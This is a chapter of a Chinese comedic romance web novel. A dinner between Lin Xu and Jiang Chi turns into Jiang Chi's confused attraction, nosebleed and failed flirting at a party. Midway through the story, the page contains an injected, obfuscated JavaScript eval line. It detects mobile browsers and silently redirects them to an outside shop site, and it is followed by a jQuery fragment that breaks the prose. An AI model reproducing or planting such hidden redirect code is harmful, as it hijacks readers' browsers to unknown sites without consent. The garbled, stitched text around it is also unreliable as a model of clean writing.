事实证明，高端餐厅的菜虽然贵，但坑起来也是真坑。
我夹起一片薄如蝉翼、摆盘精致得像艺术品的金枪鱼刺身，蘸了一大坨芥末，豪迈地塞进嘴里。
然后——
“嘶！！！”
一股直冲天灵盖的辛辣瞬间炸开，像有人拿电钻在我脑门上开了个洞。
“咳咳咳——”我猛灌了一大口冰水，眼泪还是不争气地飙了出来。
不是那种娇滴滴的落泪，是生理性反应导致的、鼻涕眼泪一起流、整张脸皱成一团的狼狈样。
江驰刚好在这时递过来一张纸巾。
他看着我那张皱巴巴的脸，沉默了两秒，然后开口了：
“林叙，你刚才那表情，像极了我家楼下那条被踩了尾巴的哈士奇。”
我：“……”
我接过纸巾狠狠擤了一把鼻涕，恶狠狠地瞪他：“你懂什么！这叫沉浸式品鉴！”
“品鉴个屁，”江驰毫不留情地吐槽，“你吃个刺身吃出了上刑场的感觉，不知道的还以为这鱼生前欠了你八百万。”
我懒得理他，继续埋头苦吃，一边吃一边吸溜着鼻子，嘴里还含糊不清地嘟囔：“这芥末……够劲……”
江驰看着我毫无形象的样子，嫌弃地往旁边挪了挪，然后偷偷摸摸地在桌下掏出手机，给顾风发了条消息：
【疯狗，我发现林叙好像有点眉清目秀了。】
顾风的回复几乎是秒弹出来的：
【？？？】
【你没事吧江驰？】
【你是不是最近没女朋友了？】
【你花名在外我忍了，但你不能饥不择食到拿林叙开刀吧？】
【他是个男的！而且是个除了码字什么都不会的笨蛋！】
【你清醒一点！他刚才吃芥末的样子像不像一只偷吃辣椒被辣哭的猪？！】
江驰看着屏幕上顾风那一连串带着感叹号的咆哮，深吸了一口气，把手机塞回兜里。
行吧。
可能是真的被相亲逼疯了。
就在他努力压下心里那点莫名其妙的异样时，我突然发现了一个问题。
江驰一口都没吃。
他就那么坐着，眼神放空，像是在思考什么深奥的哲学问题。
我愣了一下，然后夹起一片刺身，蘸了满满一坨芥末，直接怼到了他嘴边。
“来，啊——”
我看着他，眼里满是真诚的关切。
在我眼中：江驰是不是被饿傻了？这孩子本来就傻，别再把脑子饿坏了。
而在江驰眼中——
对面的人微微倾身，眉眼弯弯，浅浅一笑，将一片沾满芥末的刺身递到他唇边，声音轻柔得像是在哄孩子：
“来，啊。”
那一刻，江驰脑子里的弦，“啪”地断了。
他整个人僵在原地，瞳孔地震，耳根以肉眼可见的速度烧了起来。
然后——
一滴温热的液体，从他鼻孔里缓缓滑落。
我：“……”
江驰：“……”
我盯着他鼻子下面那道刺眼的红线，沉默了三秒。
“……江驰。”
“嗯。”
“你流鼻血了。”
“我知道。”
“……你是被芥末辣的吗？”
“不是。”他面无表情地掏出纸巾，仰起头，声音闷闷的，“是被你气的。”
我：“……”
我低头看了看自己手里还举着的那片刺身，又看了看他红得快要滴血的耳根，脑子里突然闪过一个极其不正常的念头。
等等。
这反应……是不是有点太不正常了？
“江驰，”我狐疑地盯着他，“你该不会是……”
“闭嘴。”他恶狠狠地打断我，把纸巾往脸上一糊，声音从纸巾后面传出来，闷闷的，“吃饭。别说话。”
我：“……”
行吧。
我收回了那片刺身，心安理得地塞进自己嘴里。
一边嚼，一边在心里嘀咕：
这孩子，果然是被相亲逼疯了。
连流个鼻血都能流出一种“被始乱终弃”的悲壮感。
离谱。
事实证明，当某些不该有的苗头一旦冒出来，世界就会自动给你加一层离谱的滤镜。
比如吃甜品的时候，我懒得抽纸巾，直接伸出舌头把嘴角沾着的奶油舔掉了。
在我自己看来：这叫节约环保，避免浪费食物，顺便还能回味一下蛋糕的香甜。
在江驰眼里：林叙粉嫩的舌尖轻轻卷过唇瓣，像只刚偷吃完小鱼干的猫，慵懒又餍足，连嘴角那点没擦干净的奶油都成了勾人的点缀。
再比如看到最后一块和牛端上来，我下意识用手臂护住盘子，生怕被服务员收走。
在我自己看来：这叫护食本能，是对美食最基本的尊重，毕竟这玩意儿三百八一块，谁敢动我跟谁拼命。
在江驰眼里：林叙微微蹙眉，手臂轻抬护住餐盘，眼神里带着一丝不易察觉的委屈和执拗，像是在守护什么珍贵的宝物，让人忍不住想把全世界都捧到他面前。
又比如我不小心把柠檬水洒在了他衬衫上，赶紧皱眉凑过去帮他擦拭。
在我自己看来：这叫闯祸后的补救措施，擦干净点免得赔钱，顺便吐槽一下这杯子怎么这么滑。
在江驰眼里：林叙指尖微凉，带着淡淡的柠檬香气，眉头轻蹙时睫毛微微颤动，呼吸间温热的气息拂过他的胸口，连擦拭的动作都像是带着某种隐秘的撩拨。
一顿饭吃完，江驰的脸还是红的。
不是那种被辣到的红，是从脖子根一路烧到耳尖的、持久不退的红。
我终于察觉到了不对劲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902188|212963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“江驰，”我放下叉子，忧心忡忡地看着他，“你不会是感冒了吧？”
说着，我下意识地伸出手，想探探他的额头温度。
结果手还没碰到他的皮肤，他就跟被踩了尾巴的猫一样，“噌”地一下从椅子上弹了起来，连带着桌上的水杯都晃了三晃。
“别碰我！”他声音拔高了八度，整个人贴在了身后的墙上，眼神惊恐得像看到了什么洪水猛兽。
我：“……”
我的手僵在半空中，空气安静得能听见隔壁桌刀叉碰撞的声音。
“江驰，”我缓缓收回手，语气沉重，“你是不是瞒着我得了什么传染病？”
“……滚。”他咬牙切齿地挤出这个字，脸上的红晕非但没退，反而更深了。
行吧。
我识趣地不再追问，默默在心里给他记了一笔“疑似感冒还讳疾忌医”的黑账。
而江驰这边，已经彻底陷入了自我怀疑的深渊。
他坐在回去的车上，盯着窗外飞速后退的路灯，脑子里全是刚才那些被他加了八百层滤镜的画面。
不对。
绝对不对。
他江驰是什么人？万花丛中过片叶不沾身的浪子，怎么可能对着一个男人产生这种诡异的反应？
一定是最近太累了，导致审美系统出现了临时性故障。
对，就是这样。
为了验证这个结论，他当即让司机调转车头，去了附近一场正在举办的派对。
灯光昏暗，音乐震耳欲聋，到处都是打扮精致的男男女女。
江驰深吸一口气，调整好状态，走向吧台边一个穿着黑色吊带裙、长相甜美的女生。
他勾起唇角，露出那个曾经让无数女生心跳加速的标准笑容，声音低沉而富有磁性：
“美女，一个人吗？你的眼睛比今晚的月光还要迷人。”
女生愣了一下，然后礼貌地笑了笑：“谢谢，但我男朋友马上就来。”
江驰：“……”
他不信邪，又转向另一个靠在沙发上的长发女生，眼神温柔得能滴出水来：
“你的发色很特别，像极了塞纳河畔的晚霞，让我忍不住想多看几眼。”
女生抬头看了他一眼，淡淡地说：“这是染失败的褪色效果，谢谢夸奖。”
江驰：“……”
他站在舞池边缘，看着周围成双成对的人群，第一次对自己的魅力产生了深刻的怀疑。
以前百试百灵的情话，现在说出来怎么就跟念经似的，毫无波澜？
难道真的是审美系统坏了？
还是说……
他脑海里突然闪过林叙舔奶油的画面，以及那双因为护食而微微发亮的眼睛。
“操。”
江驰低声骂了一句，猛地灌了一口手里的威士忌。
完了。。。
我毁了。。。